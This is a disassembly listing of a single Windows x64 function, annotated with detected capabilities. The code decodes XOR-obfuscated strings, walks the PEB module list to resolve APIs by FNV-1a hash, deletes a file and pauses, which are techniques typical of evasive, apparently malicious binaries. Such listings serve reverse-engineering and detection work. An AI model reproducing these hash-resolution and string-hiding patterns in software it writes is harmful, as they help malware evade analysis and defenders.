Function at 0x1400b7650
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0xd0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x48], 0xfffffffffffffffe
movups xmm0, xmmword [0x1401705f5]
movups xmmword [rbp + 0x2e], xmm0
movups xmm0, xmmword [0x1401705e7]
movaps xmmword [rbp + 0x20], xmm0
movaps xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x20], xmm0
movabs rbx, 0x4c4b4a4948474645
xor qword [rbp + 0x30], rbx
xor byte [rbp + 0x38], 0x4d
xor byte [rbp + 0x39], 0x4e
xor byte [rbp + 0x3a], 0x4f
xor byte [rbp + 0x3b], 0x50
xor byte [rbp + 0x3c], 0x51
xor byte [rbp + 0x3d], 0x52
lea rsi, [rbp + 0x20]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rbp], rsi
mov qword [rbp + 8], rax
call fcn.140128698
lea rsi, [rbp - 0x20]
mov r8, rbp
mov rcx, rsi
mov edx, eax
call fcn.1400da360
cmp qword [rbp - 8], 8
jb 0x1400b76ed
mov rsi, qword [rbp - 0x20]
mov rdx, rbp
mov rcx, rsi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140128370
xor esi, esi
cmp eax, 0x34
jg 0x1400b7720
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1400b772e
test eax, eax
jne 0x1400b7c87
mov sil, 1
jmp 0x1400b772e
cmp eax, 0x35
je 0x1400b772e
cmp eax, 0x7b
jne 0x1400b7c87
mov rax, qword [rbp - 8]
cmp rax, 8
jb 0x1400b7774
mov rcx, qword [rbp - 0x20]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400b776f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400b7c81
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140127e30
test sil, sil
je 0x1400b7c1d
cmp byte [rbp + 0x3d], 0
jne 0x1400b77b0
movaps xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x20], xmm0
xor qword [rbp + 0x30], rbx
xor byte [rbp + 0x38], 0x4d
xor byte [rbp + 0x39], 0x4e
xor byte [rbp + 0x3a], 0x4f
xor byte [rbp + 0x3b], 0x50
xor byte [rbp + 0x3c], 0x51
xor byte [rbp + 0x3d], 0x52
je 0x1400b77db
movaps xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x20], xmm0
xor qword [rbp + 0x30], rbx
xor byte [rbp + 0x38], 0x4d
xor byte [rbp + 0x39], 0x4e
xor byte [rbp + 0x3a], 0x4f
xor byte [rbp + 0x3b], 0x50
xor byte [rbp + 0x3c], 0x51
xor byte [rbp + 0x3d], 0x52
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b77f0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b77f0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b7825
test r11, r11
je 0x1400b77f0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx edi, byte [rax + rsi]
test dil, dil
je 0x1400b7820
add rsi, r10
mov r14d, 0x811c9dc5
nop word cs:[rax + rax]
movsx edi, dil
xor edi, r14d
imul r14d, edi, 0x1000193
movzx edi, byte [rsi]
inc rsi
test dil, dil
jne 0x1400b7850
cmp r14d, 0x6fc89c87
jne 0x1400b7820
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r8d, dword [rcx + rdx*4]
add r8, rax
lea rcx, [rbp + 0x20]
mov edx, 6
call r8
cmp byte [rbp + 0x3d], 0
jne 0x1400b78cb
movaps xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x20], xmm0
xor qword [rbp + 0x30], rbx
xor byte [rbp + 0x38], 0x4d
xor byte [rbp + 0x39], 0x4e
xor byte [rbp + 0x3a], 0x4f
xor byte [rbp + 0x3b], 0x50
xor byte [rbp + 0x3c], 0x51
xor byte [rbp + 0x3d], 0x52
je 0x1400b78f6
movaps xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x20], xmm0
xor qword [rbp + 0x30], rbx
xor byte [rbp + 0x38], 0x4d
xor byte [rbp + 0x39], 0x4e
xor byte [rbp + 0x3a], 0x4f
xor byte [rbp + 0x3b], 0x50
xor byte [rbp + 0x3c], 0x51
xor byte [rbp + 0x3d], 0x52
xorps xmm0, xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x20]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400b7c7c
mov rsi, rax
cmp rax, 0xf
ja 0x1400b7941
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
lea rcx, [rbp - 0x40]
lea rdx, [rbp + 0x20]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0xffffffffffffffc0
jmp 0x1400b79a0
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov r14d, reloc.WLDAP32.dll_Ordinal_22
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400b7976
lea rcx, [r14 + 0x28]
call fcn.140127dec
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b7982
lea rcx, [r14 + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], r14
lea rdx, [rbp + 0x20]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rsi, [rbp - 0x60]
lea rdx, [rbp - 0x40]
mov rcx, rsi
call fcn.1400b74a0
lea rcx, [0x14059db20]
mov rdx, rsi
call fcn.1400e6670
mov al, 1
cmp byte [0x14059dd30], 0
jne 0x1400b7c1f
movups xmm0, xmmword [0x140170517]
movups xmmword [rbp + 9], xmm0
movups xmm0, xmmword [0x14017050e]
movaps xmmword [rbp], xmm0
movups xmm0, xmmword [0x140170623]
movaps xmmword [rbp - 0x20], xmm0
movabs rax, 0x4a27272e3224272a
mov qword [rbp - 0x12], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b7a20
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b7a20
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b7a55
test r8d, r8d
je 0x1400b7a20
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx edi, byte [rax + rsi]
test dil, dil
je 0x1400b7a50
add rsi, r10
mov r14d, 0x811c9dc5
nop word cs:[rax + rax]
movsx edi, dil
xor edi, r14d
imul r14d, edi, 0x1000193
movzx edi, byte [rsi]
inc rsi
test dil, dil
jne 0x1400b7a80
cmp r14d, 0x23a979e4
jne 0x1400b7a50
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
movaps xmm0, xmmword [0x1401717a0]
movaps xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x6f697461
movaps xmm0, xmmword [rbp]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp], xmm0
xor qword [rbp + 0x10], rbx
mov word [rbp - 0xc], WSASetLastError
xor byte [rbp + 0x18], 0x4d
mov rdx, rbp
lea r8, [rbp - 0x20]
xor ecx, ecx
xor r9d, r9d
call r10
cmp byte [rbp + 0x18], 0
je 0x1400b7c2d
cmp byte [rbp - 0xb], 0
je 0x1400b7c4e
cmp byte [rbp + 0x3d], 0
je 0x1400b7b3f
movaps xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x20], xmm0
xor qword [rbp + 0x30], rbx
xor byte [rbp + 0x38], 0x4d
xor byte [rbp + 0x39], 0x4e
xor byte [rbp + 0x3a], 0x4f
xor byte [rbp + 0x3b], 0x50
xor byte [rbp + 0x3c], 0x51
xor byte [rbp + 0x3d], 0x52
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [rbp + 0x3d], 0
jne 0x1400b7b7a
movaps xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x20], xmm0
xor qword [rbp + 0x30], rbx
xor byte [rbp + 0x38], 0x4d
xor byte [rbp + 0x39], 0x4e
xor byte [rbp + 0x3a], 0x4f
xor byte [rbp + 0x3b], 0x50
xor byte [rbp + 0x3c], 0x51
xor byte [rbp + 0x3d], 0x52
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b7b90
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b7b90
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b7bc5
test r11, r11
je 0x1400b7b90
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400b7bc0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400b7be0
cmp edi, 0x2fa62ca8
jne 0x1400b7bc0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x5dc
call rdx
xor eax, eax
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
movaps xmm0, xmmword [rbp]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp], xmm0
xor qword [rbp + 0x10], rbx
xor byte [rbp + 0x18], 0x4d
cmp byte [rbp - 0xb], 0
jne 0x1400b7b0e
movabs rax, 0x3c3b3a3938373635
xor qword [rbp - 0x20], rax
movsd xmm0, qword [rbp - 0x18]
xorps xmm0, xmmword [0x1401717b0]
movss dword [rbp - 0x18], xmm0
cmp byte [rbp + 0x3d], 0
jne 0x1400b7b14
jmp 0x1400b7b3f
call fcn.140008e60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov dword [rbp], eax
lea rax, [0x140596ce8]
mov qword [rbp + 8], rax
lea rcx, str.exists
mov rdx, rbp
lea r8, [rbp - 0x20]
call fcn.1400c0170
int3